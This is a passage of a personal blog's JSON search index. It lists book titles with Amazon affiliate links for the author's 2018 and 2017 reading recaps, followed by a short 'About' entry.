href=\"https://www.amazon.com/Kingpin-Kevin-Poulsen-audiobook/dp/B00TJ3E2MQ?tag=kimobu-20\"\u003eKingpin: How One Hacker Took Over the Billion-Dollar Cybercrime Underground\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Unbreakable-Thom-Shea-audiobook/dp/B0153P0V7S?tag=kimobu-20\"\u003eUnbreakable: A Navy SEAL\u0026rsquo;s Way of Life\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/A-Higher-Loyalty-James-Comey-audiobook/dp/B07771JGVV?tag=kimobu-20\"\u003eA Higher Loyalty: Truth, Lies, and Leadership\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Evicted-Matthew-Desmond-audiobook/dp/B01AKQ598Q?tag=kimobu-20\"\u003eEvicted: Poverty and Profit in the American City\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Future-of-War-audiobook/dp/B075Y1KZ7D?tag=kimobu-20\"\u003eThe Future of War: A History\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/A-Generation-of-Sociopaths-audiobook/dp/B01N5VLZNN?tag=kimobu-20\"\u003eA Generation of Sociopaths: How the Baby Boomers Betrayed America\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Lab-257-audiobook/dp/B06XHRSKYR?tag=kimobu-20\"\u003eLab 257: The Disturbing Story of the Government\u0026rsquo;s Secret Germ Laboratory\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Leonardo-da-Vinci-Walter-Isaacson-audiobook/dp/B071S8BNDP?tag=kimobu-20\"\u003eLeonardo da Vinci\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Phoenix-Project-audiobook/dp/B00VATFAMI?tag=kimobu-20\"\u003eThe Phoenix Project (A Novel About IT, DevOps, and Helping Your Business Win)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Energy-and-Civilization-audiobook/dp/B07CMXCWK2?tag=kimobu-20\"\u003eEnergy and Civilization: A History \u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Promise-Me-Dad-Joe-Biden-audiobook/dp/B073X5QYJR?tag=kimobu-20\"\u003ePromise Me, Dad: A Year of Hope, Hardship, and Purpose\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Enlightenment-Now-Steven-Pinker-audiobook/dp/B075F8M2MC?tag=kimobu-20\"\u003eEnlightenment Now: The Case for Reason, Science, Humanism, and Progress\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Brave-New-World-Aldous-Huxley/dp/1841593591?tag=kimobu-20\"\u003eBrave New World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Aviators-Winston-Groom-audiobook/dp/B00EINSORQ?tag=kimobu-20\"\u003eThe Aviators: Eddie Rickenbacker, Jimmy Doolittle, Charles Lindbergh, and the Epic Age of Flight\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Perfect-Weapon-David-E-Sanger-audiobook/dp/B07B7QPYGZ?tag=kimobu-20\"\u003eThe Perfect Weapon: War, Sabotage, and Fear in the Cyber Age\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Black-Hearts-Jim-Frederick-audiobook/dp/B00C0MP8RG?tag=kimobu-20\"\u003eBlack Hearts: One Platoon\u0026rsquo;s Descent into Madness in Iraq\u0026rsquo;s Triangle of Death\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Factfulness-audiobook/dp/B07BFDCWZP?tag=kimobu-20\"\u003eFactfulness: Ten Reasons We\u0026rsquo;re Wrong About the World\u0026ndash;and Why Things Are Better Than You Think\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Team-of-Rivals-audiobook/dp/B00518Z5DS?tag=kimobu-20\"\u003eTeam of Rivals: The Political Genius of Abraham Lincoln\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Radical-Inclusion-audiobook/dp/B07B2Z3V5S?tag=kimobu-20\"\u003eRadical Inclusion: What the Post-9/11 World Should Have Taught Us About Leadership\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Facts-and-Fears-audiobook/dp/B07B1M7QFN?tag=kimobu-20\"\u003eFacts and Fears: Hard Truths from a Life in Intelligence\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Genghis-Khan-Making-Modern-World/dp/B0038NLWQ2?tag=kimobu-20\"\u003eGenghis Khan and the Making of the Modern World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Half-Earth-Edward-O-Wilson-audiobook/dp/B01BO1AJO0?tag=kimobu-20\"\u003eHalf-Earth: Our Planet\u0026rsquo;s Fight for Life\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Omnivores-Dilemma-audiobook/dp/B000FDJ3FU?tag=kimobu-20\"\u003eThe Omnivore\u0026rsquo;s Dilemma: A Natural History of Four Meals\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/A-Long-Way-Home-Saroo-Brierley-audiobook/dp/B00J8LI7AC?tag=kimobu-20\"\u003eA Long Way Home: A Memoir\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Thomas-Jefferson-Art-Power/dp/B009WWOFIU?tag=kimobu-20\"\u003eThomas Jefferson: The Art of Power\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Thieves-of-State-Sarah-Chayes-audiobook/dp/B00RNA2VU2?tag=kimobu-20\"\u003eThieves of State: Why Corruption Threatens Global Security\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eThe above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\u003c/em\u003e\u003c/p\u003e","title":"Recap of the books I read in 2018"},{"content":" Creativity, Inc.: Overcoming the Unseen Forces That Stand in the Way of True Inspiration Red Team: How to Succeed by Thinking Like the Enemy Masters of Doom: How Two Guys Created an Empire and Transformed Pop Culture Hillbilly Elegy: A Memoir of a Family and Culture in Crisis The Sixth Extinction: An Unnatural History Sundown Towns: A Hidden Dimension of American Racism Alibaba: The House That Jack Ma Built Elon Musk: Tesla, SpaceX, and the Quest for a Fantastic Future The Upstarts: How Uber, Airbnb, and the Killer Companies of the New Silicon Valley Are Changing the World Grit: The Power of Passion and Perseverance Cryptonomicon A Mind at Play: How Claude Shannon Invented the Information Age Einstein: His Life and Universe Smarter Faster Better: The Secrets of Being Productive in Life and Business Stealing Fire: How Silicon Valley, the Navy SEALs, and Maverick Scientists Are Revolutionizing the Way We Live and Work Peak: Secrets from the New Science of Expertise 1776 Shoot Like a Girl: One Woman\u0026rsquo;s Dramatic Fight in Afghanistan and on the Home Front The Accidental Superpower: The Next Generation of American Preeminence and the Coming Global Disorder Cosmos: A Personal Voyage Between the World and Me The Life-Changing Magic of Tidying Up: The Japanese Art of Decluttering and Organizing Intelligence in War: Knowledge of the Enemy from Napoleon to Al-Qaeda Nothing to Envy: Ordinary Lives in North Korea Viper Pilot: The Autobiography of One of America\u0026rsquo;s Most Decorated Combat Pilots How to Win Friends and Influence People Thanks, Obama: My Hopey, Changey White House Years Skunk Works: A Personal Memoir of My Years of Lockheed The above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\n","permalink":"https://www.kimobu.space/posts/Books-of-2017/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Creativity-Inc-Expanded-Overcoming-Inspiration/dp/B0BPF121ZJ?tag=kimobu-20\"\u003eCreativity, Inc.: Overcoming the Unseen Forces That Stand in the Way of True Inspiration\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Red-Team-Micah-Zenko-audiobook/dp/B0178BAHP6?tag=kimobu-20\"\u003eRed Team: How to Succeed by Thinking Like the Enemy\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Masters-of-Doom-David-Kushner-audiobook/dp/B008KGXM6A?tag=kimobu-20\"\u003eMasters of Doom: How Two Guys Created an Empire and Transformed Pop Culture\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Hillbilly-Elegy-J-D-Vance-audiobook/dp/B01EM4ZJBO?tag=kimobu-20\"\u003eHillbilly Elegy: A Memoir of a Family and Culture in Crisis\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Sixth-Extinction-audiobook/dp/B00FZ45FB0?tag=kimobu-20\"\u003eThe Sixth Extinction: An Unnatural History\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Sundown-Towns-James-Loewen-audiobook/dp/B0016P8BAY?tag=kimobu-20\"\u003eSundown Towns: A Hidden Dimension of American Racism\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Alibaba-Duncan-Clark-audiobook/dp/B01AYLBVF2?tag=kimobu-20\"\u003eAlibaba: The House That Jack Ma Built\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Elon-Musk-Ashlee-Vance-audiobook/dp/B00UVY52JO?tag=kimobu-20\"\u003eElon Musk: Tesla, SpaceX, and the Quest for a Fantastic Future\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Upstarts-Brad-Stone-audiobook/dp/B01MT1FHD8?tag=kimobu-20\"\u003eThe Upstarts: How Uber, Airbnb, and the Killer Companies of the New Silicon Valley Are Changing the World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Grit-Angela-Duckworth-audiobook/dp/B01D3AC5VU?tag=kimobu-20\"\u003eGrit: The Power of Passion and Perseverance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Cryptonomicon/dp/B086WP1FW6?tag=kimobu-20\"\u003eCryptonomicon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/A-Mind-at-Play-audiobook/dp/B073KVK1K6?tag=kimobu-20\"\u003eA Mind at Play: How Claude Shannon Invented the Information Age\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Einstein-Walter-Isaacson-audiobook/dp/B000PAU1UO?tag=kimobu-20\"\u003eEinstein: His Life and Universe\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Smarter-Faster-Better-audiobook/dp/B017WRCV0A?tag=kimobu-20\"\u003eSmarter Faster Better: The Secrets of Being Productive in Life and Business\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Stealing-Fire-audiobook/dp/B01N2HREQU?tag=kimobu-20\"\u003eStealing Fire: How Silicon Valley, the Navy SEALs, and Maverick Scientists Are Revolutionizing the Way We Live and Work\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Peak-Robert-Pool-Anders-Ericsson-audiobook/dp/B01F4A98WQ?tag=kimobu-20\"\u003ePeak: Secrets from the New Science of Expertise\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/1776-David-McCullough-audiobook/dp/B0009S2F0G?tag=kimobu-20\"\u003e1776\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Shoot-Like-Girl-audiobook/dp/B01MZ4C5X9?tag=kimobu-20\"\u003eShoot Like a Girl: One Woman\u0026rsquo;s Dramatic Fight in Afghanistan and on the Home Front\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Accidental-Superpower-audiobook/dp/B00P2QB8M6?tag=kimobu-20\"\u003eThe Accidental Superpower: The Next Generation of American Preeminence and the Coming Global Disorder\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Cosmos-Carl-Sagan-audiobook/dp/B06XTYCPST?tag=kimobu-20\"\u003eCosmos: A Personal Voyage\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Between-World-and-Me-audiobook/dp/B010MSFATU?tag=kimobu-20\"\u003eBetween the World and Me\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Life-Changing-Magic-Tidying-Decluttering-Organizing/dp/B00RC3ZGN4?tag=kimobu-20\"\u003eThe Life-Changing Magic of Tidying Up: The Japanese Art of Decluttering and Organizing\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Intelligence-in-War-John-Keegan-audiobook/dp/B000127NXE?tag=kimobu-20\"\u003eIntelligence in War: Knowledge of the Enemy from Napoleon to Al-Qaeda\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Nothing-to-Envy-Barbara-Demick-audiobook/dp/B0032G55O0?tag=kimobu-20\"\u003eNothing to Envy: Ordinary Lives in North Korea\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Viper-Pilot-Dan-Hampton-audiobook/dp/B009KEZBME?tag=kimobu-20\"\u003eViper Pilot: The Autobiography of One of America\u0026rsquo;s Most Decorated Combat Pilots\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/How-Win-Friends-Influence-People/dp/B0006IU7JK?tag=kimobu-20\"\u003eHow to Win Friends and Influence People\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Thanks-Obama-David-Litt-audiobook/dp/B073ZLBVLM?tag=kimobu-20\"\u003eThanks, Obama: My Hopey, Changey White House Years\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Skunk-Works-Ben-R-Rich-Leo-Janos-audiobook/dp/B011M8DBI6?tag=kimobu-20\"\u003eSkunk Works: A Personal Memoir of My Years of Lockheed\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eThe above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\u003c/em\u003e\u003c/p\u003e","title":"Recap of the books I read in 2017"},{"content":"Docendo discimus.\n","permalink":"https://www.kimobu.space/about/","summary":"\u003cp\u003eDocendo discimus.\u003c/p\u003e","title":"About"}]